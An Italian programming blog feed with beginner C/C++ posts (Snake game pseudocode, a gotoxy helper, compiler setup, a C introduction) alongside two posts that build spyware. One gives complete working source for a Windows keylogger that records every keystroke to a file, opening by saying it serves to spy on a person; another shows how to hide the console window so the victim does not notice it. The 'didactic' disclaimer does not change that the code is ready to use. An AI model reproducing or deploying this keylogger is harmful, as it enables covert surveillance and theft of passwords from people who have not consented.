IoSmanetto.it - Blog programmazione e webdesign » C/C++

Realizziamo il mitico Snake in C++ – Parte 1

Gregorio — Sat, 16 Apr 2011 16:17:17 +0000

Introduzione

Snake è un famoso giochino che ha come protagonista un serpente . Quando il serpente mangia, il suo corpo si allunga rendendo il gioco sempre piu’ complicato.

In questa prima parte spiegherò la pseudocodifica del codice che andreamo a relizzare dal prossimo articolo.

Le liste

Il corpo del serpente possiamo tradurlo in linguaggio informatico come una lista . La lista per chi non la conoscesse è una struttura dati dinamica o meglio una serie di elementi dove ogni elemento è legato a quello successivo . Per un approfondimento vi rimando a wikipedia .

Ecco come si presenta graficamente una lista :

Pensiamo il nodo come la parte che costituisce il corpo del serpente . Ogni nodo deve avere una caratteristica : la posizione occupata nello schermo.

Rifacciamo il disegno della lista seguendo la logica descritta sopra:

La lista disegnata rappresenta un serpente che inizia nella cella X:5 Y:2 e finisce in X:7 Y:2 .

Per comodita è consigliabile usare una lista concatenata : una particolare lista dove ogni elemento non solo è collegato all’elemento successivo ma anche a quello precendente .

Trasformiamo per l’ultima volta la nostra bozza :

Movimento del serpente

Supponiamo di avere questo serpente :

Tradotto in una lista sarebbe:

Il serpente deve potersi muovere nelle quattro direzioni : a sinistra , in alto , a destra e in basso.

Supponiamo di volerlo muovere a destra

Bisogna trovare un algortimo , una sequenza di istruzioni , per generare la seguente lista

Se sovrapponessimo le due liste noteremmo che nella lista generata ( quella dopo il movimento ) c’è un nuovo nodo che rappresenta l’ head e che l’ultimo nodo viene cancellato.

Il procedimento è identico per tutte le 4 le direzioni: eliminare l’ultimo nodo e inserire una nuova testa (head) con le nuove cordinate dove inizia il serpente.

Come avete visto il ragionamento logico che sta dietro all’algoritmo è molto semplice . Nella prossima lezione concluderemo questo appuntamento scrivendo il codice

GotoXY sul compilatore DevC++

Gregorio — Mon, 01 Feb 2010 21:10:23 +0000

Lo scopo della funzione gotoxy, presente nella libreria conio.h , è quello di spostare il cursore della console.
DevC++ non contiene la libreria perciò,se non vogliamo installarla, l’unica soluzione è quella di creare la funzione:

#include 
#include 
#include 
void gotoxy(int x,int y){     
     HANDLE HConsole;
     CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo;     
     HConsole = GetStdHandle(STD_OUTPUT_HANDLE);
     ConsoleInfo.dwCursorPosition.X = x;
     ConsoleInfo.dwCursorPosition.Y = y;     
     SetConsoleCursorPosition(HConsole,ConsoleInfo.dwCursorPosition);     
}
int main(){
    gotoxy(3,2);
    printf("IOSMANETTO.it\n");
    gotoxy(3,1);
    system("pause");
    return 1;
    }

HANDLE HConsole; HANDLE è simile ad un puntatore ma è piu’ complesso.

CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo; Dichiariamo ConsoleInfo come struttura CONSOLE_SCREEN_BUFFER_INFO . La struttura contiene informazioni sulla console come la posizione del cursore, il colore del testo e dello sfondo ecc.

HConsole = GetStdHandle(STD_OUTPUT_HANDLE); Otteniamo l’Handle della console

ConsoleInfo.dwCursorPosition.X = x; ConsoleInfo.dwCursorPosition.Y = y; Inseriamo le nuove coordinate

SetConsoleCursorPosition(HConsole,ConsoleInfo.dwCursorPosition);
SetConsoleCursorPosition setta la posizione del cursore. Come parametri passiamo l’handle della console e la nuova posizione.

Console invisibile c++

Gregorio — Sun, 31 Jan 2010 19:34:49 +0000

Nell’articolo precedente abbiamo realizzato un keylogger per windows in c++. Chi ha letto l’articolo e provato il keylogger avrà sicuramente notato un piccolo particolare : la console è visibile e chiunque puo’ notare la sua presenza. Come nasconderla allora ?

#include 
#include 
int main(int argc, char * argv[])
{
    HWND form; 
    form = GetForegroundWindow();
    ShowWindow(form, false);
    system("pause");
}

HWND form; Dichiara la variabile form di tipo HWND. HWND sta per (h)handle (wnd)window e viene usata per accedere alla proprietà di una finestra.

form = GetForegroundWindow(); La funzione GetForegroundWindow restituisce il puntatore della finestra in primo piano.

ShowWindow(form, false); ShowWindow modifica lo stato di una finestra. Con false indichiamo di nascondere la finestra

Semplice no !? Per il keylogger rendere invisibile la finestra è importantissimo ma non è il massimo : dal Taskmenager è sempre possibile individuare il processo .

Keylogger windows in c++

Gregorio — Sat, 30 Jan 2010 17:59:29 +0000

Lo scopo dell’articolo è puramente didattico. Non mi assumo nessuna responsabilità sull’uso illecito dello script.

Per spiare una persona non è necessario nulla di complicato: basta infatti intercettare in qualche modo quello che viene digitato sulla tastiera. Lo strumento necessario per questo tipo di operazione è il keylogger che puo’ essere software o hardware.

Oggi parleremo di quello software realizzandone uno in c++.

Lo scopo del keylogger è quello di intercettare i tasti premuti dall’utente e registrali in un file.
La funzione GetAsyncKeyState, presente nella libreria windows.h, è indispensabile perchè restituisce lo stato di un bottone , cioè se è premuto o no.

Ecco un semplice esempio per utilizzare questa funzione.

#include 
#include 
#include 
int main(){   
    while(1){                     
             if(GetAsyncKeyState(65)==-32767){                                             
                    cout << "Tasto A premuto\n";                                                         
              }                           
    }    
    return 1;
}

Il seguente codice if(GetAsyncKeyState(65)==-32767){ controlla se il tasto della lettera A ( corrisponde al numero 65 ) è premuto. Quando noi , infatti, premiamo il tasto, la funzione restituisce -32767 .

Altra concetto fondamentale per costruire il nostro keylogger è saper scrivere sui file . Lo script altre ad intercettare la pressione dei tasti deve salvare ogni singolo movimento in un file txt.

Il seguente programmino apre il file in scrittura e scrive una stringa “prova”

#include 
#include 
#include 
void main(){
     char * file = "keylog.txt";
     FILE * scrivi ;
     scrivi = fopen(file,"a+");
     fprintf(scrivi,"prova");
     system("pause");     
     }

Dopo aver imparato a scrivere sui file e ad intercettare le pressioni sui tasti vi posto lo script completo del keylogger con alcuni commenti sul codice :

#include 
#include 
#include 
#include 
 
// La seguente funzione registra il tasto premuto 
// sul file
void reg(int key,char *file){
 
   FILE *keylog;
   keylog = fopen(file,"a+");  // Apriamo il file in modalità scrittura con 
   // cursore posizionato alla fine
   int tmp = key; 
 
   switch(key){
 
   case 8 :    fprintf(keylog,"[Del]"); break; 
   case 9 :    fprintf(keylog,"[Tab]"); break;      
   case 13:    fprintf(keylog,"\n[Invio]\n"); break;
   case 37:    fprintf(keylog,"[Left]"); break;
   case 38:    fprintf(keylog,"[Top]"); break;
   case 39:    fprintf(keylog,"[Right]"); break;  
   case 40:    fprintf(keylog,"[Bottom]"); break; 
   case 46:    fprintf(keylog,"[Canc]"); break;   
   case 44:    fprintf(keylog,"[Stamp R sist]"); break;   
   case 45:    fprintf(keylog,"[Ins]"); break;     
   case 33:    fprintf(keylog,"[Pag Su]"); break;  
   case 34:    fprintf(keylog,"[Pag Giu]"); break;        
   case 35:    fprintf(keylog,"[Fine"); break;      
   case 164:    fprintf(keylog,"[Alt]"); break;       
   case 145:    fprintf(keylog,"[Bloc Scorr]"); break;  
   case 92:case 91:    fprintf(keylog,"[Windows]"); break;           
   case 32:    fprintf(keylog," "); break;
   case 162:   fprintf(keylog,"[Ctrl]"); break;
   case 107:   fprintf(keylog,"+"); break;
   case 109:   fprintf(keylog,"-"); break;  
   case 111:   fprintf(keylog,"*"); break;   
   case 144:   fprintf(keylog,"/"); break;   
   case 106:   fprintf(keylog,"-"); break;    
   case 27:case 163:   fprintf(keylog,"[Esc]"); break;     
   }
   // Tasti F1,F1,F2 ecc
   if(key >= 112 and key <= 123){
      key -= 112;
      fprintf(keylog,"[%d]",key);   
      key=tmp; 
   }
   // Alfabeto
   if(key >= 65 && key <= 90){
 
             if(GetKeyState(VK_CAPITAL)==1 || GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128   ){
             // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
             fprintf(keylog,"%s",&key);          
 
             }else{
             // Se no memorizziamola in minuscolo
             key += 32;
             fprintf(keylog,"%s",&key);         
             key = tmp;
             }                       
   }   
   // TASTI numerici   
   if( GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128 ){  
       // Se è premuto shift ... 
      switch(key){
      case 48 : fprintf(keylog,"="); break;      
      case 49 : fprintf(keylog,"!"); break; 
      case 50 : fprintf(keylog,"\"");break;
      case 51 : fprintf(keylog,"£");   break;    
      case 52 : fprintf(keylog,"$");  break;  
      case 53 : fprintf(keylog,"%");  break;   
      case 54 : fprintf(keylog,"&");  break;        
      case 55 : fprintf(keylog,"/");  break;               
      case 56 : fprintf(keylog,"(");  break;
      case 57 : fprintf(keylog,")");  break;                                      
      }                         
 
   }else{   
   // Se no stampa i numeri   
       if(key >= 48 && key <= 57){         
       fprintf(keylog,"%s",&key);      
       }     
    } 
 
   if( GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128 ){
   // Se è premuto Shift ...
      switch(key){
 
      case 192 : fprintf(keylog,"ç"); break;   
      case 191 : fprintf(keylog,"§"); break;       
      case 222 : fprintf(keylog,"°"); break; 
      case 187 : fprintf(keylog,"*"); break;       
      case 186 : fprintf(keylog,"é"); break;                                       
      case 188 : fprintf(keylog,";"); break;
      case 190 : fprintf(keylog,":"); break;
      case 189 : fprintf(keylog,"_"); break; 
      case 219 : fprintf(keylog,"?"); break;    
      case 221 : fprintf(keylog,"^"); break; 
      case 226 : fprintf(keylog,">"); break;  
      case 220 : fprintf(keylog,"|"); break;           
 
      }  
 
    }else if((GetKeyState(17)==-127 || GetKeyState(17)==-128  )&&(GetKeyState(18)==-127 || 
    GetKeyState(18)==-128 )&&( GetKeyState(162)==-127 ||  GetKeyState(162)==-128 )&&
    (GetKeyState(165)==-127 || GetKeyState(165)==-128) ){
    // Se tiene premuto ALT GR
      switch(key){
      case 192 : fprintf(keylog,"@"); break;     
      case 222 : fprintf(keylog,"#"); break;  
      case 187 : fprintf(keylog,"]"); break;   
      case 186 : fprintf(keylog,"["); break;             
      }                           
    }else{
    // Se no
      switch(key){  
      case 192 : fprintf(keylog,"ò"); break;     
      case 191 : fprintf(keylog,"ù"); break;      
      case 222 : fprintf(keylog,"à"); break;    
      case 187 : fprintf(keylog,"+"); break;     
      case 186 : fprintf(keylog,"è"); break;    
      case 188 : fprintf(keylog,","); break;    
      case 190 : fprintf(keylog,"."); break;        
      case 189 : fprintf(keylog,"-"); break;    
      case 219 : fprintf(keylog,"'"); break;      
      case 221 : fprintf(keylog,"ì"); break;      
      case 226 : fprintf(keylog,"<"); break;    
      case 220 : fprintf(keylog,"\\"); break;                                     
      }     
    }
 
   fclose(keylog);
}
 
int main(){
 
 
 
    char * file = "prova.txt";
    int i;
    while(1){       
          for(i=8;i<=1000;i++){             
             if(GetAsyncKeyState(i)==-32767){                                             
                                reg(i,file);                                                         
              }          
          }          
    }
 
    return 1;
}

Download Keylogger windows

Nel prossimo articolo spiegherò come nascondere la console e per rendere invisibile il processo di intercettamento

Compiliamo il nostro primo programma in C

Gregorio — Sat, 19 Dec 2009 14:05:41 +0000

In circolazione esistono diversi compilatori per c/c++ . Personalmente uso Bloodshed Dev-C++, e devo dire che mi trovo abbastanza bene.

Per scaricare Dev-C++ andate a questo indirizzo : download

Scorrete la pagina fino a Downloads. Individuata la versione, fate click su SourceForge.

L’installazione è abbastanza semplice, non occorre avere grandi conoscenze . Se qualcuno di voi ha qualche problema sono a vostra completa disposizione.

L’ultima versione del programma , la 4.9.9.2 , si presenta in questa veste grafica .

Il primo passo da fare è quello di creare un nuovo file . Andiamo su File -> Nuovo -> File Sorgente

Il codice seguente è un piccolo programmino che stampa a video “Hello Word” . La struttura è molto semplice e comprensibile . Se avete qualche problema leggete i commenti accanto.

void main(){ // Funzione invocata quando il programma si avvia
printf ("Hello Word"); // Funzione per stampare a video una stringa
getch(); // Aspetta che l'utente preme un tasto
}

Per finire scriviamo il codice su devC++ , salviamo il file come hello.c e andiamo in alto su Esegui -> Compila & Esegui o premete semplicemente F9 .

Piccola introduzione al C

Gregorio — Fri, 18 Dec 2009 14:28:06 +0000

Con questo articolo, ci avviamo allo studio del C, uno dei linguaggi più flessibili e efficienti che possa esistere .
Il C è un linguaggio di medio livello. I linguaggi ad alto livello sono il vb ( Visual Basic ) , il PHP , il Pascal e tutti quei linguaggi che contengono istruzioni vicine al modo di pensare umano . Cio’ permette di ridurre notevolmente il tempo per la realizzazione degli algoritmi . Un linguaggio a Basso Livello è molto piu’ difficile da gestire e analizzare, perchè è piu’ vicino al linguaggio macchina . Di solito quest’ultimo viene usato per realizzare applicazioni dove lo spreco di memoria non accettabile. Ricordiamo che programmare a Basso Livello, vuol dire avere il pieno controllo della CPU e della memoria .

Perchè il C è un linguaggio intermedio ? Il C contiene istruzioni sia ad Alto e a Basso livello . E’ facile da programmare, perchè molte istruzioni sono ad Alto livello, ed è anche flessibile e potente perchè molte istruzioni sono a Basso Livello . Un mix davvero interessante.

Nel prossimo articolo installeremo il compilatore , necessario per tradurre il codice C in linguaggio macchina.